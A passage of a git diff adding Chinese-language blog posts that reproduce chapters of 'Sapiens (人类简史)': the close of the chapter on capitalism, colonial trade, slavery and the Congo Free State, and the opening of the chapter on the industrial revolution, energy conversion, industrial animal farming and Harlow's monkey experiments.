Street），而在近一世纪的时间里，这家公司就是从这里统治着一整个儿强大的印度帝国，掌握着多达35万士兵的庞大军力，就连英国王室也只能自叹弗如。一直要到1858年，英国王室才将印度及英国东印度公司的军队收编国有。当时拿破仑曾嘲笑英国，说他们是个“店小二的民族”（nation of shopkeepers）。只不过，就是这群店小二打败了拿破仑本人，还建立起有史以来最大的帝国。 +以资本之名 +虽然印度尼西亚和印度分别在1800和1858年由荷兰和英国收归国有，但资本主义和帝国的关系非但没有结束，反而是在19世纪变得更为紧密。股份公司不再需要自己建立及管理殖民地，而是由经理和大股东直接在伦敦、阿姆斯特丹和巴黎与政治权力牵线接轨，直接由国家来帮忙维护利益。正如马克思和其他社会批评家所开的玩笑，西方政府几乎就像是资本家的工会。 +讲到国家如何为资本家服务，最恶名昭彰的例子就是中英第一次鸦片战争（1840~1842）。在19世纪上半叶，英国东印度公司和杂物商靠着向中国出口药物（特别是鸦片）而发了大财。数百万中国人成了瘾君子，国家的经济和社会都大受影响。30年代后期，中国政府发布禁烟令，但英国药商完全无视这项律令。于是，中国当局开始没收、销毁鸦片。这些鸦片烟商与英国国会和首相关系良好，许多议员和部长其实都持有烟商公司的股票，因此向政府施压，要求采取行动。 +1840年，英国正式以“自由贸易”为名，向中国宣战。此役英国轻松获胜。中国人太过自信，却完全敌不过英国如同奇迹般的新式武器：汽船、重型火炮、火箭，以及可连发的步枪。在接下来的和平条约中，中国同意不限制英国烟商的活动，并且还要赔偿中国军方造成的损失。此外，英国要求并取得了香港的使用权，于是香港就成了他们安全的贩毒基地。直到1997年，香港才回归中国。在19世纪末，中国鸦片成瘾者约有4000万，足足占了全国人口1/10。93 +埃及同样也遭到英国资本主义的毒手。在19世纪，法国和英国的投资者将大笔资金借给埃及的统治者，先是投资兴筑苏伊士运河，后来还有一些比较失败的计划。埃及的债务逐渐膨胀，欧洲这些债权人也逐渐插手埃及的国内事务。到了1881年，埃及民族主义者忍无可忍，起身反抗，单方面宣布废除一切外债。这让维多利亚女王很不高兴。一年后，她就派出大军前往尼罗河，一直到第二次世界大战结束前，埃及都还是英国的“保护国”。 +* * * +为了投资人利益而发动的战争绝不只这两场而已。事实上，连战争本身都可以像鸦片一样变成商品。1821年，希腊人起身反抗奥斯曼帝国，英国自由和浪漫圈子的人大感同情，甚至像诗人拜伦就亲自前往希腊，与这些反叛分子并肩作战。但就在同时，伦敦金融家看到的是大好商机。他们向反抗军领袖提议，在伦敦证券交易所上市发行债券，为希腊反抗筹资。而如果最后希腊独立成功，就要连本带利偿还。于是，民间投资者有的为了利润，有的出于同情，也或者兼而有之，纷纷买入这种债券。至于这种希腊起义债券在伦敦证交所的价格，就随着希腊当地的战情起起伏伏。土耳其慢慢地占了上风，眼看反抗军就要战败，而债券持有人就快输到脱裤了。但就在此时，正因为债券持有人的利益就是国家的利益，英国组织起一支国际舰队，在1827年的纳瓦里诺战役一举击溃奥斯曼帝国的主要舰队。从此，受到长达几世纪的征服统治后，希腊终于自由了。只不过，自由的代价就是一大笔巨额债务，这个新成立的国家根本无力偿还。在接下来的几十年间，希腊经济都被欠英国的债务压得喘不过气。 +资本和政治这两者的紧密相拥，对信贷市场有深远的影响。一个市场究竟能得到多少信贷，不能只看经济因素（例如发现新的油田、发明新的机器），而也得考虑政治事件的影响，例如政权更迭或是采取了更积极的外交政策。诺瓦里诺战役之后，英国资本家投资高风险海外交易的意愿就更高了。他们亲眼证实，如果外国债务人拒绝偿还贷款，女王陛下的军队就会去为他们讨债。 +正因如此，今天在判断某个国家的信用评级时，经济体系是否健全远比天然资源的多寡更为重要。信用评级代表的是国家清偿债务的可能性。除了纯粹的经济数据外，也会考虑政治、社会甚至文化因素。就算是拥有丰富石油蕴藏量的产油国，如果政府专制、司法腐败，信用评级通常也不高。这么一来，因为难以取得必要资金开发石油资源，很可能这个国家就只能这样坐在金矿上穷困度日。与此相对的是，如果某个国家虽然缺少自然资源，却有自由的政府、和平的环境，以及公正的司法系统，它就可能得到较高的信用评级。这样一来，就能以低廉的代价取得相当的资金，撑起良好的教育体系、发展出蓬勃的全新高科技产业。 +对自由市场的崇拜 +资本和政治的关系如此紧密交结，不论是经济学家、政治家还是一般民众都有许多热烈的争论。死忠的资本主义者很可能会表示，资本当然会影响政治，但政治绝不应该插手资本的事。他们认为，如果政府干预市场，市场必然会被政治利益所左右而做出不智的投资决定。举例来说，政府很可能会向产业界课重税，再用这笔钱设置大笔的失业救济金，讨好大众选民。在商人眼中，当然政府最好都别管事，让钱都留在商人口袋里。他们宣称，有了这些钱，他们就会继续开设新的工厂，让现在失业的人都能有工作。 +这种观点就会认为，最明智的经济政策就是让政治不要干预经济，将税收和政府管制都减到最低，将一切交给市场力量，让其自由发挥。这样一来，正因为民间投资人完全没有政治考虑，他们会将资金投向获利最高的区块，于是带来最高的经济成长。所以，不管对企业家或劳工来说，最好政府就是无为而治。到了今天，资本主义教条最常见也最有影响力的分身就是自由市场主义。如果是对自由市场最死忠的支持者，不仅会认为国家不该出兵影响国际事务，甚至也会批评国内的种种福利政策。他们对政府的建议，会和老庄思想不谋而合：无为而治，什么都别管。 +然而，如果讲到最极端的情况，相信自由市场的概念其实就像相信圣诞老人一样天真。这世界上根本不可能有完全不受政治影响的市场。毕竟，经济最重要的资源就是“信任”，而信任这种东西总是得面对种种的坑蒙拐骗。光靠着市场本身，并无法避免诈欺、窃盗和暴力的行为。这些事得由政治系统下手，立法禁止欺诈，并用警察、法庭和监狱来执行法律。如果国王或政府行事不力，无法做到适当的市场规范，就会失去信任、使信用缩水，而经济也会衰退。不论是1719年的密西西比泡沫，还是2007年美国房地产泡沫带来的信用紧缩和经济衰退，都一再提醒着我们这些教训。 +资本主义的地狱 +我们之所以不该让市场有完全自由发挥的机会，还有另一个更基本的原因。亚当·斯密说，鞋匠赚到多余的利润之后，会用来雇用更多助手。这么一来，因为多余利润能促进生产、雇用更多人，似乎就代表着自私自利和贪婪也可能对全体人类有利。 +只不过，如果贪婪的鞋匠靠的是缩减工资、增加工时来增加利润，情况又会如何？课本上的答案是：自由市场会保护员工。如果鞋匠付的薪水太少、要求又太多，那些最优秀的员工当然就会离职，去为他的竞争对手工作。这下子，这位黑心老板手上就只剩下最差劲的员工，甚至一个员工都不剩。于是他一定得改变管理方式，不然就只能关门大吉。他的贪婪会逼他善待自己的员工。 +这个理论听来十分完美，但实际上却是漏洞百出。如果真的是完全自由的市场，没有国王或神职人员来监督，贪婪的资本家就能够通过垄断或串通来打击劳工。例如，假设某个国家只有一家制鞋厂或是所有制鞋厂都合谋同时降低工资，劳工就无法用换工作的方式来保护自己。 +更可怕的是，老板还可能用劳动偿债甚至奴隶制度来限制劳工的自由。在中世纪结束的时候，基督教欧洲几乎完全没有奴隶制度的现象。但到了现代早期，欧洲资本主义兴起，大西洋奴隶贸易也应运而生。奴隶贸易这场灾难的罪魁祸首并不是暴君或是种族主义者，而是不受限制的市场力量。 +欧洲人征服美洲的时候，积极开采金矿银矿，并且建立庄园来种植甘蔗、烟草和棉花。这些矿场和庄园成为美洲生产和出口的大宗支柱。其中甘蔗种植尤为重要。在中世纪，糖在欧洲是难得的奢侈品，必须由中东进口，而且价钱令人咋舌，使用的时候百般珍惜，视为某种秘密成分，加进各种美食或是蛇油为底的药物中。等到美洲开始有了一片又一片的大型甘蔗园，就开始有越来越多的糖运抵欧洲。糖价开始下跌，而欧洲对甜食也越来越贪得无厌。商人见到机不可失，开始生产大量甜食：蛋糕、饼干、巧克力、糖果和含糖饮料（例如可可、咖啡和茶）。英国人每人每年的糖摄取量，从17世纪初接近为零，到19世纪初竟然达到大约8公斤。 +然而，不论种植甘蔗还是提炼蔗糖，都是劳力密集的工作。不仅工时长、热带阳光猛烈，蔗园环境更是疟疾肆虐，因此愿意在蔗园工作的人寥寥无几。如果使用约聘劳工，成本就会变得太过昂贵，无法迎合大众消费需求。这些甘蔗园的欧洲主人一方面对市场力量十分敏感，一方面又贪求利润和经济成长，因此就把脑筋动到了奴隶上。 +从16世纪到19世纪，大约有1000万非洲奴隶被运到美洲，其中有大约七成都在甘蔗园里工作。奴隶的劳动条件极度恶劣，大多数奴隶生活悲惨、英年早逝。而且欧洲人发动战争俘虏非洲人，再从非洲内陆千里迢迢运至美洲，数百万非洲人就这样在战乱或运送过程中丧命。而这一切，不过就是为了让欧洲人能够在茶里加糖、能吃到甜点，让人能够靠着贩糖而获取暴利。 +奴隶贸易背后的黑手并不是国家或政府。这项产业完全出于经济，是自由市场依据供需法则所组织及提供资金。民间贩奴公司甚至在阿姆斯特丹、伦敦和巴黎证交所上市，出售股份。一些中产阶级的欧洲人也就是希望有个好机会投资赚钱，就买了这些股票。靠着这些钱，公司得以买船、雇用水手和士兵，他们在非洲购买奴隶，再运到美洲卖给庄园园主。贩奴的收益就能顺便购买庄园的作物及产品，例如糖、可可、咖啡、烟草、棉花和朗姆酒。满载而归回到欧洲之后，蔗糖和棉花可以卖到一笔好价钱，接着他们就能再次前往非洲，把这个获利颇丰的勾当再次如法炮制。这种安排可让股东心花怒放、再满意不过。在整个18世纪，贩奴的获利约为6%；任何一个现代的投资顾问都还是会说这相当不错。 +这是自由市场资本主义美中不足之处。它无法保证利润会以公平的方式取得或是以公平的方式分配。而且相反的是，因为人类有追求利润和经济成长的渴望，就会决定盲目扫除一切可能的阻挠。等到“成长”成了无上的目标、不受其他道德伦理考虑的制衡，就很容易衍生成一场灾难。有一些宗教（例如基督教和纳粹）杀害了数百万人，原因是出于仇恨。然而，资本主义也杀害了数百万人，原因则是出于冷漠和贪婪。大西洋奴隶贸易兴起的原因，并不是欧洲人对非洲人有什么种族仇恨。而那些买了股票的民众、卖了股票的证券营业员、管理奴隶贸易公司的经理，压根儿就不曾把非洲人放在心上。甘蔗庄园的园主就更不用谈了。很多园主根本住得远在天边，他们唯一关心关于庄园的事，就是账目要清楚好读，让他们知道自己赚了多少。 +我们必须记住，人类的历史从来不是洁白无邪，大西洋奴隶贸易这件事绝非特例。像是前一章提过的孟加拉地区大饥荒，也是出于类似原因：英国东印度公司比较重视的是自己的利润，而不是1000万孟加拉地区人的生命。荷兰东印度公司在印度尼西亚的军事行动，后面出钱的也是一群善良的荷兰人，他们爱孩子，会捐钱给慈善事业，也懂得欣赏好音乐和好艺术，但他们就是没感受到爪哇、苏门答腊、马六甲这些地方人民的痛苦。随着现代经济成长，全球各地还有无数的大小罪恶和灾难正在上演。 +* * * +时间到了19世纪，但资本主义的道德观并未改善。工业革命风潮席卷欧洲，让银行家和资本家荷包满满，但却让数百万计的劳工生活落入赤贫。至于在欧洲殖民地，情况更难以想象。1876年，比利时国王利奥波德二世（Leopold II）成立了一个非政府人道组织，宣称目的是探索中非，并打击刚果河沿岸的奴隶贸易。同时该组织也表示会修筑道路、兴建学校和医院，为当地居民改善生活条件。在1885年，欧洲列强同意将刚果盆地大约230万平方公里土地拨给该组织管理使用。这片土地足足有比利时全国75倍大，从此称为刚果自由邦（Congo Free State）。只不过，从来没有人问过这片土地内足足有两三千万人民的意见。 +在很短的时间内，这个所谓的人道组织就成了商业机构，真正的目的只是成长和获利。他们压根儿就已经忘了学校和医院这回事，整个刚果盆地遍布着矿场和农业庄园，多数由比利时官员掌控，而且无情地剥削着当地人民。其中最恶名昭彰的就是橡胶产业，当时橡胶迅速成为大宗商品，橡胶出口也成了刚果最重要的收入来源。负责收集橡胶的非洲村民被规定上缴的产量越来越高，而且一旦少缴，就会被斥为“懒惰”，遭到严厉惩罚。有时候比利时官员会把他们的手臂砍掉，有时候甚至全村的人都遭到屠杀。就算是最保守的估计，从1885年到1908年之间，在刚果追求成长和利润的代价，就足足让600万刚果人命丧黄泉（至少占当时刚果人口的两成），甚至有些人估计惨死人数高达千万。94 +1908年以后特别是1945年以后，部分出于对共产主义的恐惧，资本主义的贪婪稍微受到控制。然而，不平等的情形仍然猖獗。时间到了2013年，虽然全球经济的大饼已经远大于1500年那块，但分配的方式却是极度不公，许多非洲农民和印度尼西亚劳工就算整日辛劳，能够赚到的食物还比不上500年前的先人。然而，就像农业革命一样，所谓的现代经济成长也可能只是个巨大的骗局。虽然人类和全球经济看来都在继续成长，但更多的人却活在饥饿和困乏之中。 + +面对这种指控，资本主义有两项响应。第一，资本主义已经把这个世界塑造成资本主义的样子，现在也只有资本主义能让它继续运行下去。唯一另一个足以和资本主义相抗衡的，就只有共产主义。在公元前8500年，就算有人对于农业革命深感后悔，但为时已晚，已经无法放弃农业。同样，虽然我们现在可能并不喜欢资本主义，但它也已经不可或缺。 +第二，资本主义也认为只要再多点耐心，天堂就一定会降临人间了。确实，过去我们犯过一些错，像是大西洋奴隶贸易，像是剥削了欧洲的劳工阶级，但这一切都让我们学到教训，只要我们再等等、再等饼变大一点，就能让人人都分到够大的一块。虽然说分饼的时候永远不可能达到公平，但至少能做到“足够”，让男女老幼每个人都能满足，甚至在刚果也不例外。 +事实上，我们确实已经看到一些正面的迹象。至少就纯粹的物质标准来说（例如预期寿命、婴儿死亡率、热量摄取量），虽然人口在过去百年间激增，但2013年的平均数值都明显高于1913年。 +然而，这块经济大饼真的能无限制变大吗？每块饼都需要原材料和能源。但早有先知预言警告，迟早智人会耗尽地球上所有的原料和能源。这会在什么时候发生？ diff --git a/_posts/2017-01-06-209-sapiens-cp17.md b/_posts/2017-01-06-209-sapiens-cp17.md new file mode 100644 index 0000000..a93919c --- /dev/null +++ b/_posts/2017-01-06-209-sapiens-cp17.md @@ -0,0 +1,71 @@ +--- +layout: post +title: 第十七章工业的巨轮 +pid: 209 +tags: [人类简史：从动物到上帝] +--- +第十七章 +工业的巨轮 +现代经济之所以能够成长，是因为我们愿意信任未来，资本家也愿意将利润再投入生产。然而光是这样还不够。经济成长还需要有能源、有原料，但能源和原料有限，如果用光了，是不是整个系统就要崩溃？ +然而，就过去的证据看来，所谓“有限”也只是一种理论。虽然这可能不太符合我们的直觉，但人类在过去几个世纪的能源和原料用量激增，可供使用的能源和原料量其实不减反增！每次即将因为能源或原料短缺而使经济成长趋缓的时候，就会有资金投入科学研究，解决这项问题。这种做法屡屡奏效，有时候让人更有效利用现有资源，有时候找出了全新的能源和材料。 +让我们以运输产业为例。在过去300年间，人类制造的运输工具数量达到数十亿台，从简单的马车和手推车，到后来的火车、汽车、超音速飞机和航天飞机。过去可能会有人认为，像这样大规模使用资源，很快就会耗尽所有能源和原料，很快只能靠着回收垃圾撑下去了。然而，实际状况却正好相反。在1700年，全球运输工具使用的原料多半是木材和铁，但今天我们却有各式各样的新材料任君挑选，像是塑料、橡胶、铝和钛，这一切我们的祖先都完全一无所知。另外，1700年的马车主要是由木匠和铁匠手工人力制作，但在现在的丰田车厂和波音公司工厂里，我们靠的是燃油引擎和核电厂来推动生产。类似的革命在几乎所有产业领域无处不在。我们将它称为“工业革命”。 +* * * +早在工业革命前的数千年，人类就已经知道如何使用各种不同的能源。像是可以燃烧木材，用火力来炼铁、取暖、烤蛋糕。用帆取得风力就能推动帆船，用水车取得水力就能用来碾谷子。然而，这些使用方式都有明显的限制和问题：火力得先取得木材，风力得靠天赏脸，至于水力一定得住在河的附近才成。 +还有一个更大的问题，就是我们不知道如何进行能量间的转换。像是风力可以推船，水力可以推石磨，但却没办法拿来煮水或炼铁。相对的是，燃烧木头的热力也无法推动石磨。在当时想要转换能量，只能靠一种东西：人类或动物自己的身体。在自然的代谢过程里，人类和其他动物燃烧有机燃料（也就是食物），把能量转换为肌肉运动。于是，男男女女或动物摄取谷物和肉类，燃烧碳水化合物和脂肪，再用这些能量来拉车或犁田。 +因为所有能量转换只能靠人类和动物的身体，当时几乎所有人类活动靠的就是肌肉的力量。人类的肌肉能用来造车盖房，牛的肌肉能用来拖犁耕田，马的肌肉能用来运输货物。而所有能用来供应这些“有机肌肉机器”的能量来源只有一种：植物。至于植物的能量，则是来自太阳。植物靠着光合作用，将太阳能转为有机化合物。由此看来，历史上人类成就的几乎所有事情，第一步靠的都是将植物取得的太阳能转换为肌肉的力量。 +正因如此，人类历史在过去一直是由两大周期来主导：植物的生长周期，以及太阳能的变化周期（白天和黑夜，夏季和冬季）。阳光不足、谷物尚未成熟的时候，人类几乎没有能量可用。这时谷仓空空，收税员无事可做，士兵无力行军或打仗，各个国王也觉得以和为贵。但等到阳光充足、谷类成熟，农民的收获堆满了谷仓，收税员四处忙着收税，士兵频频操练、磨刀利剑，国王也召集大臣，计划下一场战事。这一切的源头都是太阳能，这时已经取得并封装在小麦、稻米和马铃薯里了。 +厨房里的秘密 +在这之前的几千年间，人类每天都面对着能源生产史上最重要的发明，但却总是视而不见。每次有哪个家庭主妇或仆人想要烧水泡茶，或是把装满了马铃薯的锅放在炉子上煮，这项发明就这样明显地在他们眼前。在水煮沸的那一刻，水壶或锅的盖子会开始跳上跳下。这时热能转换为动能，但是我们过去都只觉得这样乱跳有点烦人，至于一时忘记而让水煮干就更麻烦了。没人注意到这件事的真正潜力。 +9世纪中国发明火药可以说有了小小的突破，能让热能转换成动能。一开始，要用火药推动弹丸听来实在太有悖常理，所以长久以来火药只是拿来制作炸弹。直到后来（起因可能是某些炸弹专家在研钵里磨火药，磨杵却被大力炸飞？），才终于发明了枪。而要再从火药发展为有效的火炮，就已经又过了大约600年。 +即便如此，要将热能转化为动能的想法仍然太天马行空，所以要再过3个世纪，人类才发明了下一种使用热能来移动物品的机器。这项新科技是在英国煤矿里诞生。随着英国人口膨胀，森林遭到砍伐，一方面是人类取得木柴作为燃料推动经济成长，一方面也是为了要有居住和农业用地。于是，英国逐渐面临木柴短缺的问题，人们开始烧煤作为替代品。许多煤矿层都位于会淹水的地区，而且只要淹水，矿工就到不了较低的矿层。这个问题必须解决。大约在1700年左右，英国的矿井里开始回荡着一种奇特的噪音，可以说是吹起了工业革命进击的号角，一开始只是微微在远方响起，但十年十年过去，声音也愈趋雄壮，直到最后整个世界都笼罩在震耳欲聋的声响之中。这就是蒸汽机。 +蒸汽机种类繁多，但有一个共同的原则：燃烧某种燃料（例如煤），再用产生的热将水煮沸，产生蒸汽。接着蒸汽推动活塞、让活塞移动，而连接到活塞的任何装置也就跟着移动。这么一来，热能便转换为动能了！在18世纪的英国煤矿里，是将活塞连接到泵，好把矿井底部的水给抽出来。最早的引擎效率低到难以想象。光是想抽出一点点的水，就得烧掉极大量的煤。然而，当时煤矿充足，而且又近在咫尺，所以倒是没人在意。 +在随后的几十年间，英国人改善了蒸汽机的效率，还把它请出了矿坑，用在纺织机和轧棉机上。纺织生产仿佛脱胎换骨，开始能廉价生产越来越大量的纺织品。转眼之间，英国就取得了世界工厂的地位。但更重要的是，把蒸汽机请出矿坑，可以说是打破了一项重要的心理关卡。如果烧煤能够让纺织机动起来，为什么不能让其他的设备（像是车辆）也这么动起来呢？ +1825年，一名英国工程师将蒸汽机装到了一辆满载煤炭的列车上，让引擎将这辆货车沿着铁轨，将煤炭从矿场送到约20公里外最近的港口。这是史上第一列蒸汽动力火车。想当然尔，既然蒸汽可用于运送煤炭，为什么不能运送其他商品呢？甚至，为什么不能运人呢？1830年9月15日，第一条商业化铁路开通，连接了利物浦与曼彻斯特，用的同样是与抽水或纺织相同的蒸汽动力。不过短短20年后，英国的铁轨长度已达数万公里。95 +从此之后，人类就深深着迷于如何使用机器和引擎转换各种能量。只要发明出适当的机器，世界上任何地方、任何类型的能量都能为我们所用。举例来说，物理学家发现原子内储存着巨大的能量，就立刻开始思考要如何释放这种能量，用来发电、推动潜艇，或是摧毁城市。从中国炼丹术士发现火药，到土耳其人用大炮粉碎君士坦丁堡的城墙，之间足足过了600年。但从爱因斯坦发现质量可以转化为能量之后（也就是E=MC?），仅仅过了40年，原子弹就已经落在了广岛和长崎，核电厂也如雨后春笋般遍布全球。 +另一项重要发明是内燃机，仅仅花了不到一个世代的时间，就彻底改革了人类的运输，也让石油变成一种液体的政治权力。在这之前数千年，我们早就知道了石油的存在，但只用来为屋顶防水、替轴轮润滑。就算到了大约一个世纪前，大家还是认为石油就只有这些用处。说要为了石油流血打仗，简直是则笑话。当时为了土地、黄金、胡椒或奴隶打仗或许天经地义，但为了石油，可是万万说不过去。 +至于电力的发展更为惊人。在两个世纪前，电力对经济还毫无影响力，多半只是用来做些神秘的科学实验，或是廉价的魔术把戏。但有了一系列的发明之后，电力就成了我们有求必应的神灯精灵。手指一弹，就能印出书本、织出衣服，保持蔬菜新鲜、棒冰不融化，还能煮晚餐、处决死刑犯，记录我们的想法和笑容，让夜间亮起灯光，还让我们有无数的电视节目能看。我们很少有人了解电力运作的机制，但更少人能够想象生活中没有电力该怎么办。 +能源的汪洋大海 +工业革命的核心，其实就是能源转换的革命。我们已经一再看到，我们能使用的能源其实无穷无尽。讲得更精确，唯一的限制只在于我们的无知。每隔几十年，我们就能找到新的能源来源，所以人类能用的能源总量其实在不断增加。 +为什么这么多人担心我们会耗尽所有能源？为什么他们担心我们用完所有化石燃料之后，会有一场大灾难？显然，这世界缺的不是能源，而是能够驾驭并转换符合我们所需的知识。如果与太阳任何一天放射出的能量相比，全球所有化石燃料所储存的能源简直是微不足道。太阳的能量只有一小部分会到达地球，但即使是这一小部分，就已经高达每年3766800艾焦（焦耳是能量单位，在地心引力下将一颗小苹果抬升一米，所需的能量就是一焦耳；至于艾焦则是1018焦耳，这可是很多很多颗苹果。）96全球所有植物进行光合作用，也只能保留大约3000艾焦的能量。97现在人类所有活动和产业每年约消耗500艾焦，而地球只要大约短短90分钟，就能从太阳接收到这么多能量。98而且，这还只是太阳能而已。我们还有其他巨大的能量来源，像是核能、像是引力。引力最明显的例子，就是因为地球受到月球吸引而成的潮汐作用。 +在工业革命之前，人类的能源市场几乎完全只能靠植物。这就像是住在一个容量每年3000艾焦的水库旁边，想办法尽可能多抽一点水出来。然而，这里有个明确的总容量。但到了工业革命时期，人类发现能用的能源不是一个水库，而是一整片海洋，容量可能有几千亿艾焦。我们唯一需要的，只是个更好的抽水泵罢了。 +* * * +学习如何有效驾驭和转换能量之后，也解决了另一个阻碍经济成长的问题：原料短缺。等到人类找出方法驾驭大量而又廉价的能源之后，就开始能够取得过去无法使用的原料（像是在西伯利亚荒原采集铁矿），或者从越来越远的地方将原料运来（像是从澳大利亚将羊毛运到英国的纺织厂）。同时，科学上的突破也让人类能够发明全新的原料（像是塑料），或是发现先前未知的天然原料（像是硅和铝）。 +化学家一直要到19世纪20年代才发现铝这种金属，但当时要从矿石中分离出铝非常困难，而且昂贵。于是，有几十年间，铝的价值甚至比黄金还要高得多。在19世纪60年代，法国皇帝拿破仑三世还会用铝质餐具来宴请最尊贵的客人，至于那些二等的客人，就只能用黄金的刀叉来凑合凑合。99但到了19世纪末，化学家发现了一种方法能够大量、廉价提炼铝，目前全球的铝生产量达到每年3000万吨。如果拿破仑三世听说这些属民的后代居然拿铝做成抛弃式的铝箔，用来包三明治、带剩菜，用完就丢，想必是大惊失色。 +两千年前，地中海盆地的人如果属于干性肤质，就会在手上抹橄榄油。而今天人们抹的是护手霜。我在附近一家店里随便买了一支简单的现代护手霜，里面的成分如下： +去离子水、硬脂酸、甘油、辛酸/癸酸三酸甘油酯、丙二醇、肉豆蔻酸异丙酯、人参根提取物、香料、鲸蜡醇、三乙醇胺、硅灵、熊果叶萃取、抗坏血酸磷酸镁、咪唑烷基脲、对羟基苯甲酸甲酯、樟脑、对羟基苯甲酸丙酯、羟基异己基3–环己基甲醛、羟基香茅醛、芳樟醇、丁苯基甲基丙醛、香茅醛、苎烯、香叶醇。 +以上几乎所有的成分，都是在过去两世纪间才发明或发现。 +第一次世界大战期间，德国遭到封锁，造成原物料严重短缺，可做成爆炸物的硝石更是奇缺无比。德国本身并不产硝石，当时最大的硝石产地在智利和印度。虽然用氨来取代硝石也可以有同样的效果，但当时要生产氨的成本还非常高。可以说德国人走运，他们的同胞：一位名为弗里茨·哈伯（Fritz Haber）的犹太化学家在1908年发现了一套技术，几乎只要用空气就能制备出氨。等到战争爆发，德国人已经将哈伯的发现投入工业生产，只要靠着空气当原料，就能制作爆炸物。有学者认为，要不是有哈伯的发现，德国绝无可能撑到1918年的11月。100（哈伯在大战期间也是引导使用毒气的先驱。）而且，这项发现还让哈伯赢得了1918年的诺贝尔奖，但可以想见他得的是化学奖，可不是和平奖。 +输送带上的生命 +工业革命为人类带来了前所未有的种种能源和原料，不仅种类丰富，而且价格低廉。结果就是人类的生产力有了爆炸性的发展。首先引爆、影响也最深的就是农业。一般情况下，我们想到工业革命，脑中浮现的画面就是一片都市景象、冒着烟的烟囱，或者是一群煤矿工人汗流浃背，深入地底辛苦工作。然而，工业革命最重要的一点，其实在于它就是第二次的农业革命。 +过去两百年间，工业化生产成了农业的支柱。过去得靠肌肉力量或根本做不到的事情，现在都由像是曳引机之类的机器接手。由于有了化学肥料、工业杀虫剂和各种激素及药物，无论是农地还是家禽家畜的产量都大幅跃进。而有了冰箱、船舶和飞机之后，各种农产品能够保存长达数个月，而且也能快速、廉价地运送到世界的另一头。欧洲人开始能够大啖新鲜美味的阿根廷牛肉和日本寿司。 +机械化不只是机器的事，连植物和动物也同样遭到机械化。差不多就是在以人为本的宗教将智人提升到神的地位的时候，各种农场上的动物已经不再被视为活生生、能够感受到痛苦的生物，而是被视为机器一般对待。时至今日，这些动物常常是在像工厂一样的地方被大规模制造，它们的身体被依照产业的需求来形塑。这些动物的一生就像是巨大生产线的齿轮，决定它们生命长短及质量的，就只是各种商业组织的利润和亏损。虽然业界让它们存活、吃得饱、维持基本健康，但却对它们的社会和心理需求毫不关心（除非直接影响到了生产）。 +举例来说，蛋鸡其实也有各种行为和心理需求，它们天生会有强烈的冲动，想要侦察四周的环境，到处瞧瞧啄啄，确认彼此的社会阶层、筑巢还有理理毛。然而，鸡蛋业者往往是将这些蛋鸡关在极小的鸡舍里，一个笼子就塞了四只蛋鸡，每只的活动空间大概就是22厘米乘25厘米左右。虽然这些鸡有足够的食物，但却没办法宣告自己的领域、筑巢，或完成它们天生想做的活动。事实上，这些笼子实在太小，里面的鸡甚至无法拍翅膀，也无法完全站立抬头。 +猪的智商和好奇心在哺乳动物里数一数二，可能只低于巨猿。然而，在工业化的养猪场里，母猪被关在小隔间里，甚至连转身都做不到，更别提要散步或四处觅食了。这些母猪就被这样没日没夜关上四星期，生下小猪，但小猪立刻被带走养肥待宰，而母猪又得带去怀孕，准备再生下一批小猪。 +许多奶牛在短暂的一生里，也是都活在一个小隔间里；不管是站还是坐或卧，都与自己的尿液和粪便为伍。它们面前有一套机器会供给他们食物、激素和药物，身后另一套机器则是每几个小时会来为它们挤奶。至于位于中间的牛呢？在业者眼中，大概就只是一张会吃原料的嘴，再加上会生产商品的乳房而已。这些活生生的生物其实内心情感世界都十分复杂，如果把它们当机器一样对待，不仅会造成身体不适，也会让它们有很大的社会压力和心理挫折。101 +图25 商业化养鸡场输送带上的小鸡。如果是公鸡或是缺陷的母鸡，就会被丢到输送带上，送进毒气室让他们窒息而死，再用自动搅碎机搅碎，又或者直接丢进垃圾堆，让它们互相挤压致死。每年有上亿只雏鸡就这样在养鸡场里丧命 +大西洋奴隶贸易并非出于对非洲人的仇恨，而现代畜牧业也同样不是出于对动物的仇恨。这两者背后共同的推手，就是冷漠。大多数人，在生产或是消费各种奶、蛋、肉类的时候，都很少想到提供这些食物的鸡、牛或猪。就算有些人真的想过，也常认为这些动物真的和机器没什么两样，没有感觉、没有情绪，并不会感受到痛苦。但讽刺的是，正是那些制造了挤奶器和集蛋器的科学，最近也赤裸裸指出这些哺乳动物和鸟类同样有复杂的感觉和情绪。它们不仅能感受到生理上的痛苦，也同样能感受到心理情绪上的痛苦。 +演化心理学认为，家禽家畜的情感和社交需求还是源自野外，是因应当时生存和繁衍的需要而形成。例如，野生的母牛必须知道怎样和其他母牛或公牛建立紧密的关系，否则就不可能生存和繁衍后代。而为了学习必要的技能，演化就会在小牛（以及所有社交性哺乳动物的幼崽）的心理植入强烈想要玩耍的欲望，这正是哺乳动物学习社交行为的管道。此外，小牛还有另一股更强大的欲望，就是不能和母亲分开，毕竟当初在野外，母牛的奶水和照顾是生存的关键。 +但像现在，奶农在小母牛一生下来不久，就把它隔到另一个隔间里，与母牛分开，给它提供食物、水和抵抗各种疾病的药物，等到它发育成熟，再用公牛的精子让它怀孕产乳。这么一来会如何？从客观的角度来看，小牛确实不再需要为了生存或繁衍而和母亲相处，也不用和同伴玩乐。但从主观的角度来看，小牛仍然会有一股强大的冲动，想要和母亲在一起，想和其他小牛玩。这些冲动无法满足，就会让它十分痛苦。这是演化心理学的基本道理：过去在野外形成的种种需求，就算现在已经不是生存和繁殖所必要，仍然会持续造成主观的感受。工业化农业的悲剧在于，它一味强调动物的客观需求，却忽略了它们的主观需要。 +这项理论的真实性至少在20世纪50年代就已证实，当时美国心理学家哈利·哈洛（Harry Harlow）就曾用猴子的发展做过实验。他在幼猴出生后几小时，就把它们和母猴分开，各自关在独立的笼子里，由两只假母猴来负责哺育。每个笼子有两只假母猴，一只使用铁丝材质，上面有可供幼猴吸吮的奶瓶；另一只使用木材，再铺上布，模仿真实母猴的样貌，但除此之外无法提供幼猴任何实质帮助。这样一来，理论上幼猴似乎应该会依附着提供食物营养的金属猴，而不是什么都不做的布猴。 +但没想到，幼猴显然比较爱的是布猴，多半时间都紧抱不放。如果两只假猴子放得够近，幼猴甚至是紧抱着布猴，只是把头伸去金属猴那边吸奶。哈洛猜想，可能是因为铁丝太冷，幼猴不喜欢，所以他还为金属猴加装了一个电灯泡，让金属猴有了体温。然而，除了真的非常小的幼猴之外，大多数猴子选择的仍然是布猴。 + + +图26 在哈洛的实验中，一只小猴子孤儿就算正在金属猴身上吸奶，却还是紧抱着布猴。 